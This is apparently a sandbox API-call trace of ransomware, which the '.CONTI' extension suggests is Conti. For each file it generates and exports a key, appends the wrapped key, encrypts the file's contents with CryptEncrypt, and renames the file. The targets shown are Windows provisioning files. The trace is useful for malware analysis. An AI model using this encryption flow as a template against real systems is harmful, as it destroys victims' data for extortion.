	[0112.095] WriteFile (in: hFile=0x320, lpBuffer=0x180dc4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x180dc4c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.101] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.101] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.101] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1e0, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1f0) returned 1
	[0112.101] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.101] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x1f0, lpOverlapped=0x0) returned 1
	[0112.101] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.101] WriteFile (in: hFile=0x320, lpBuffer=0x180dc40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x180dc40*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.101] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.101] CloseHandle (hObject=0x320) returned 1
	[0112.101] GetProcessHeap () returned 0x1720000
	[0112.101] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.101] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0112.101] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0112.102] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0112.102] GetProcessHeap () returned 0x1720000
	[0112.102] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.102] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.102] GetProcessHeap () returned 0x1720000
	[0112.102] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b81528 | out: hHeap=0x1720000) returned 1
	[0112.102] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0112.102] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x180d0e0 | out: phKey=0x180d0e0*=0x6b7f038) returned 1
	[0112.102] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180d0e4, pdwDataLen=0x447fe94 | out: pbData=0x180d0e4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0112.103] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0112.103] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0112.104] GetLastError () returned 0x0
	[0112.104] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=718) returned 1
	[0112.104] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0112.104] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.104] SetEndOfFile (hFile=0x320) returned 1
	[0112.104] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.104] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.104] WriteFile (in: hFile=0x320, lpBuffer=0x180d0e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x180d0e4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.111] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.111] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2ce, lpOverlapped=0x0) returned 1
	[0112.111] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2ce, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0) returned 1
	[0112.111] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.111] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.111] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.111] WriteFile (in: hFile=0x320, lpBuffer=0x180d0d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x180d0d8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.111] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.111] CloseHandle (hObject=0x320) returned 1
	[0112.111] GetProcessHeap () returned 0x1720000
	[0112.111] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.111] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml"
	[0112.111] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml.CONTI"
	[0112.111] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0112.112] GetProcessHeap () returned 0x1720000
	[0112.112] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.112] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0112.112] GetProcessHeap () returned 0x1720000
	[0112.112] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b118 | out: hHeap=0x1720000) returned 1
	[0112.112] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0112.112] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x180de90 | out: phKey=0x180de90*=0x6b7f038) returned 1
	[0112.112] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180de94, pdwDataLen=0x447fe94 | out: pbData=0x180de94*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0112.113] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0112.113] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0112.113] GetLastError () returned 0x0
	[0112.113] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=473) returned 1
	[0112.113] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9
	[0112.113] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.114] SetEndOfFile (hFile=0x320) returned 1
	[0112.824] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.825] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.825] WriteFile (in: hFile=0x320, lpBuffer=0x180de94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x180de94*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.828] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.828] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x1d9, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x1d9, lpOverlapped=0x0) returned 1
	[0112.829] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1d9, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1e0) returned 1
	[0112.829] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.829] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.829] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.829] WriteFile (in: hFile=0x320, lpBuffer=0x180de88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x180de88*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.829] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.829] CloseHandle (hObject=0x320) returned 1
	[0112.830] GetProcessHeap () returned 0x1720000
	[0112.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.358] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.358] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.358] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.359] GetProcessHeap () returned 0x1720000
	[0113.359] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.359] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0113.359] GetProcessHeap () returned 0x1720000
	[0113.359] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80f60 | out: hHeap=0x1720000) returned 1
	[0113.359] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0113.359] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65be538 | out: phKey=0x65be538*=0x17c77f0) returned 1
	[0113.359] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65be53c, pdwDataLen=0x447fe94 | out: pbData=0x65be53c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0113.360] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.360] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.360] GetLastError () returned 0x0
	[0113.360] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=711) returned 1
	[0113.360] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0113.360] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.360] SetEndOfFile (hFile=0x320) returned 1
	[0113.360] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.361] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.361] WriteFile (in: hFile=0x320, lpBuffer=0x65be53c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65be53c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.362] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.362] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2c7, lpOverlapped=0x0) returned 1
	[0113.362] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c7, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0) returned 1
	[0113.362] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.362] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.362] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.363] WriteFile (in: hFile=0x320, lpBuffer=0x65be530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65be530*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.363] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.363] CloseHandle (hObject=0x320) returned 1
	[0113.363] GetProcessHeap () returned 0x1720000
	[0113.363] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.363] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.363] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.363] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.365] GetProcessHeap () returned 0x1720000
	[0113.365] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.365] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.365] GetProcessHeap () returned 0x1720000
	[0113.366] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bbd28 | out: hHeap=0x1720000) returned 1
	[0113.366] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0113.366] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65c0098 | out: phKey=0x65c0098*=0x17c7bb0) returned 1
